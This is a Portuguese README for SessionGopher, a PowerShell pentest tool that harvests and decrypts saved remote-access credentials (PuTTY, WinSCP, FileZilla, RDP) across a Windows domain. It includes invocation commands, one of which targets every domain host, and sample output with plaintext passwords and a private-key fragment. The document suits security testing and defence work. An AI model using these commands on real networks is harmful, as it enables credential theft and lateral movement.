
SessionGopher é uma ferramenta PowerShell que usa WMI para extrair informações de sessões salvas para ferramentas de acesso remoto como WinSCP, PuTTY, SuperPuTTY, FileZilla e Microsoft Remote Desktop. Pode ser executada remotamente ou localmente.
Copyright 2017 FireEye, criado por Brandon Arvanaghi (@arvanaghi)
Licenciado sob a Apache License, Versão 2.0 (a "Licença"); você não pode usar este arquivo exceto em conformidade com a Licença. Você pode obter uma cópia da Licença em
http://www.apache.org/licenses/LICENSE-2.0
Exceto quando exigido pela lei aplicável ou acordado por escrito, o software distribuído sob a Licença é distribuído numa base "COMO ESTÁ", SEM GARANTIAS OU CONDIÇÕES DE QUALQUER TIPO, expressas ou implícitas. Consulte a Licença para obter as permissões específicas que regem e as limitações sob a Licença.
SessionGopher é uma ferramenta PowerShell que encontra e descriptografa informações de sessão salvas para ferramentas de acesso remoto. Ela possui funcionalidade WMI incorporada para que possa ser executada remotamente. Seu melhor caso de uso é identificar sistemas que podem se conectar a sistemas Unix, jump boxes ou terminais de ponto de venda.
SessionGopher funciona consultando o hive HKEY_USERS em busca de todos os usuários que fizeram login em uma máquina ingressada no domínio em algum momento. Ele extrai informações de sessão salvas de PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Ele extrai e descriptografa automaticamente as senhas salvas do WinSCP, FileZilla e SuperPuTTY.
Quando executado no modo Thorough, ele também procura em todas as unidades por arquivos de chave privada do PuTTY (.ppk) e extrai todas as informações relevantes da chave privada, incluindo a própria chave, bem como arquivos de Remote Desktop (.rdp) e RSA (.sdtid).
-Thorough: procura em todas as unidades por arquivos de chave privada PuTTY (.ppk), arquivos de Conexão de Área de Trabalho Remota (.rdp) e RSA (.sdtid).
-o: envia os dados para uma pasta de arquivos .csv
-iL: forneça um arquivo com uma lista de hosts para executar o SessionGopher, cada host separado por uma nova linha. Forneça o caminho do arquivo após -iL.
-AllDomain: o SessionGopher consultará o Active Directory em busca de todos os sistemas ingressados no domínio e será executado contra todos eles.
-Target: um host específico que você deseja atingir. Informe o host alvo após -Target.
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Para executar remotamente, você pode fornecer as credenciais de uma conta privilegiada para o sistema remoto usando os sinalizadores -u e -p. Se você omitir os sinalizadores -u e -p,
o SessionGopher será executado no contexto de segurança da conta a partir da qual você executa o script (por exemplo, se você já estiver conectado como conta DA, ou conectado com uma conta que
seja administrador local do sistema de destino, ou estiver fazendo um runas com qualquer um dos dois, você não precisará fornecer credenciais).
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
ou
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
ou
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
Qualquer um desses comandos pode ser combinado com -Thorough, mas observe que leva significativamente mais tempo, pois consulta todo o sistema de arquivos remoto. Não é recomendado executar no modo -Thorough ao consultar
mais do que um pequeno conjunto de sistemas por vez.
Executar remotamente adicionando -o (imprimir em CSV) funciona bem, pois o SessionGopher acumulará todas as sessões que encontrar e informará exatamente onde encontrou a sessão salva.
Para fazer o SessionGopher criar uma pasta para armazenar organizadamente os .csv das sessões extraídas:
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
... é isso.
Acessar as informações de sessão salvas de todos os usuários em HKEY_USERS exige privilégios de administrador local. Sem privilégios de administrador local, você ainda receberá as informações de sessão salvas
desse usuário.
[+] Digging on Win7-Arvanaghi ...
WinSCP Sessions
Session : [email protected]
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd
Session : [email protected]
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892
FileZilla Sessions
Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22
PuTTY Sessions
Session : PointOfSaleTerminal
Hostname : 10.8.0.10
PuTTY Private Key Files (.ppk)
Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft Remote Desktop (RDP) Sessions
Hostname : us.greatsite.com
Username : Domain\tester
Microsoft Remote Desktop .rdp Files
Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host
Escrito por Brandon Arvanaghi (@arvanaghi)
Este código foi inicialmente desenvolvido na FireEye. No entanto, qualquer atualização posterior é feita pelo autor fora da FireEye.